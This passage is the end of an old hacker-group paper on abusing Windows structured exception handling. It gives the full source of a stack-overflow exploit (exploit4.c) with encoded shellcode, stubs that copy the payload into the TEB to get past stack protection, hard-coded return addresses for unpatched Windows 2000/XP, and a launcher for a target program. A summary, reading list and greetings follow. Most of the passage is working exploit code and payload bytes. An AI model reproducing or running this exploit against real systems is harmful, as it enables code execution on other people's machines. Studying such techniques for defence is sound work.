*(unsigned long *)&buf[420] = RET; strcat(buf, "\x90\x90\x90\x90"); strcat(buf, minicode); bufExe[1] = buf; execve(bufExe[0],bufExe,NULL); return 0; } --------------------------------exploit3.c------------------------------- Of course there is also a posibility to use EIP to address the shellcode. Just use this trick: jmp a b:pop ebx <--- now, the EIP value is in the EBX register //code <--- here place your code (sub or add, and than jump) a:call b @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &>&>&<&><&>&<>&<>&<&><&>666[***exploit4.c]666<&><&>&<>&<>&<&><&>&<&<& +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ (execution in TEB block) The last method is very interesting because if the stack was configured to forbid the execution of code that is placed on it, it will bypass it. How? All the details are in my paper [1] but now I write only the general concept. In TEB blocks there are some free locations, that are not used.For example, starting from 0x7FFDE1BC there is a buffer containing only NULL bytes, which we can overwrite. So the vuln.exe's buffer should look like the following: [NOPs][shellcode][NOP][jump 6][call ebx, pop-pop-ret][NOP][BUF_ADDR][TEB][TEB][JUMP lstrcpyA] where: BUF_ADR --> the address of the buffer with shellcode placed on the stack (address) TEB --> the address in the TEB block where we copy our shellcode and the return address for lstrcpyA (so the TEB block either ;]) JUMP lstrcpyA --> a jump to a funtion that copies data (lstrcpyA, lstrcatA and so on) --------------------------------exploit4.c------------------------------- #include #include #include #define RET 0x79392C0B //jmp ebx, pop-pop-ret #define JUMP 0x909006EB //NOTE: DELETE needless //For Win2000 and XP Unpatched char minicode[]= "\xb8\x5C\xDF\x35\x79" //mov eax, STRCPY_FUNC <-- the lstrcpyA's address "\x66\x81\xeb\x9f\x01" //sub bx, 190 <-- EBX should point to the NOP sledge before shellcode "\x53" //push ebx <-- push the address of buffer on the stack "\x68\xbc\xe1\xfd\x7f" //push TEB <-- copy to 0x7FFDE1BC "\x68\xbc\xe1\xfd\x7f" //push TEB <-- and return to 0x7FFDE1BC "\xff\xe0"; //jmp eax <-- jump to lstrcpyA //For Win2000, XP SP0-1 char minicode[]= "\x89\xe3" //mov ebx, esp "\x66\x81\xc3\xe4\x03" //add bx, 0x3e4 <-- EBX should point to the NOP sledge before shellcode "\xb8\x5C\xDF\x35\x79" //mov eax, STRCPY_FUNC "\x53" //push ebx "\x68\xbc\xe1\xfd\x7f" //push TEB "\x68\xbc\xe1\xfd\x7f" //push TEB "\xff\xe0"; //jmp eax char shellcode[]= "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; int main(int argc, char *argv[]) { char *bufExe[3]; char buf[700]; int i; char *ptr = buf; memset(buf, 0, sizeof(buf)); bufExe[0] = "vuln.exe"; bufExe[2] = NULL; strcpy(buf, "\x90\x90\x90\x90"); strcat(buf, shellcode); for(i=sizeof(shellcode);i<416;i++) strcat(buf, "\x90"); *(unsigned long *)&buf[416] = JUMP; *(unsigned long *)&buf[420] = RET; strcat(buf, "\x90"); strcat(buf, minicode); bufExe[1] = buf; execve(bufExe[0],bufExe,NULL); return 0; } --------------------------------exploit4.c------------------------------- ><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>< > [>>5<<]. Summary < >---------------------------------------------------------< In this paper, I have described the way how SEH works, how to use it and how to abuse it :). The knowledge from this paper provides a firm basis for furhter research concerning on bypassing /SAFESEH, /GS or the stack protection in Windows Server 2003. In the nearest future, the DaRk-CodeRs Group (maybe it will be me once again) will probably publish results of our research :) Stay tuned!!! All questions, suggestions, comments -> e-mail address is in the title;] ><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>< > [>>6<<].Further reading < >---------------------------------------------------------< [1] paper: "Shellcode locations and buffer overflows in Windows" at www.milw0rm.com/papers/205 | www.packetstormsecurity.com/shellcode/shellcode-locations.txt [2] paper: http://mirror.href.com/thestarman/asm/2bytejumps.htm [3] paper: http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html [4] paper: www.ngssoftware.com/papers/NISR.BlindExploitation.pdf [5] paper: www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf [6] book : Jack Koziol - "The Shellcoder's Handbook" [7] book : Eldad Eilam - "Reversing: Secrets of Reverse Engineering" ><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>< > [>>7<<]. Greetz' < >---------------------------------------------------------< Hard case :) Generally, I thank all people, I know (eeemmm, and i like of course ;]). You all have contributed something to this paper and to my life;]. Particularly: Ola N. (for everything: thanks baby :*), Mr. Piotr S. (for technical support (especially for provision:)) and for everything else), Pawel J. (for friendship), 0in(for enforced me to write about fuckin' SEH), c0ndemned, Die_Angel, m4r1usz, Katharsis(for "mental" support :)), e.wiZz(hope you're doin' better and keep on fighting), Dobosz (for Steam's account), wilm@n, Konrad CZ. Stay secure ==[END OF FUCKIN' FILE]==